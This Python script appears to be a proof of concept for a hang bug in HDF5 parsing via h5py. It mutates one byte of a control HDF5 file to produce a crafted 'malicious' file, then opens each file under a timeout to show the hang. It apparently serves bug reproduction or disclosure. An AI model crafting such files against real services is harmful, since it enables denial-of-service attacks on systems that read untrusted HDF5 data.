| |
| from __future__ import annotations |
|
|
| import hashlib |
| import subprocess |
| import sys |
| from pathlib import Path |
|
|
| import h5py |
|
|
|
|
| HERE = Path(__file__).resolve().parent |
| CONTROL = HERE / "control_scaleoffset_int.h5" |
| MALICIOUS = HERE / "hdf5_vlen_attr_global_heap_single_byte_hang.h5" |
| MUTATION_OFFSET = 0x818 |
| MUTATION_FROM = 0x1D |
| MUTATION_TO = 0x93 |
|
|
|
|
| WORKER = r""" |
| import h5py |
| import sys |
| |
| print(f"h5py={h5py.__version__} hdf5={h5py.version.hdf5_version}", flush=True) |
| with h5py.File(sys.argv[1], "r") as f: |
| print("opened", flush=True) |
| print(list(f.attrs.items()), flush=True) |
| print("done", flush=True) |
| """ |
|
|
|
|
| def sha256(path: Path) -> str: |
| return hashlib.sha256(path.read_bytes()).hexdigest() |
|
|
|
|
| def build_malicious() -> None: |
| data = bytearray(CONTROL.read_bytes()) |
| if data[MUTATION_OFFSET] != MUTATION_FROM: |
| raise RuntimeError( |
| f"unexpected control byte at 0x{MUTATION_OFFSET:x}: " |
| f"0x{data[MUTATION_OFFSET]:02x}" |
| ) |
| data[MUTATION_OFFSET] = MUTATION_TO |
| MALICIOUS.write_bytes(data) |
|
|
|
|
| def run_case(label: str, path: Path, timeout: int = 8) -> dict: |
| try: |
| cp = subprocess.run( |
| [sys.executable, "-c", WORKER, str(path)], |
| stdout=subprocess.PIPE, |
| stderr=subprocess.PIPE, |
| text=True, |
| timeout=timeout, |
| check=False, |
| ) |
| return { |
| "label": label, |
| "returncode": cp.returncode, |
| "stdout": cp.stdout, |
| "stderr": cp.stderr, |
| } |
| except subprocess.TimeoutExpired as exc: |
| return { |
| "label": label, |
| "returncode": f"timeout_after_{timeout}s", |
| "stdout": exc.stdout.decode() if isinstance(exc.stdout, bytes) else (exc.stdout or ""), |
| "stderr": exc.stderr.decode() if isinstance(exc.stderr, bytes) else (exc.stderr or ""), |
| } |
|
|
|
|
| def main() -> int: |
| if not CONTROL.exists(): |
| raise FileNotFoundError(CONTROL) |
| build_malicious() |
|
|
| print(f"runtime_h5py={h5py.__version__}") |
| print(f"runtime_hdf5={h5py.version.hdf5_version}") |
| print(f"control={CONTROL} size={CONTROL.stat().st_size} sha256={sha256(CONTROL)}") |
| print(f"malicious={MALICIOUS} size={MALICIOUS.stat().st_size} sha256={sha256(MALICIOUS)}") |
| print( |
| "mutation=" |
| f"offset 0x{MUTATION_OFFSET:x}: 0x{MUTATION_FROM:02x} -> 0x{MUTATION_TO:02x}" |
| ) |
|
|
| for label, path in [("control", CONTROL), ("malicious", MALICIOUS)]: |
| result = run_case(label, path) |
| print(f"\n--- {label} ---") |
| print(f"returncode={result['returncode']}") |
| if result["stdout"]: |
| print("stdout:") |
| print(result["stdout"], end="" if result["stdout"].endswith("\n") else "\n") |
| if result["stderr"]: |
| print("stderr:") |
| print(result["stderr"], end="" if result["stderr"].endswith("\n") else "\n") |
|
|
| return 0 |
|
|
|
|
| if __name__ == "__main__": |
| raise SystemExit(main()) |
|
|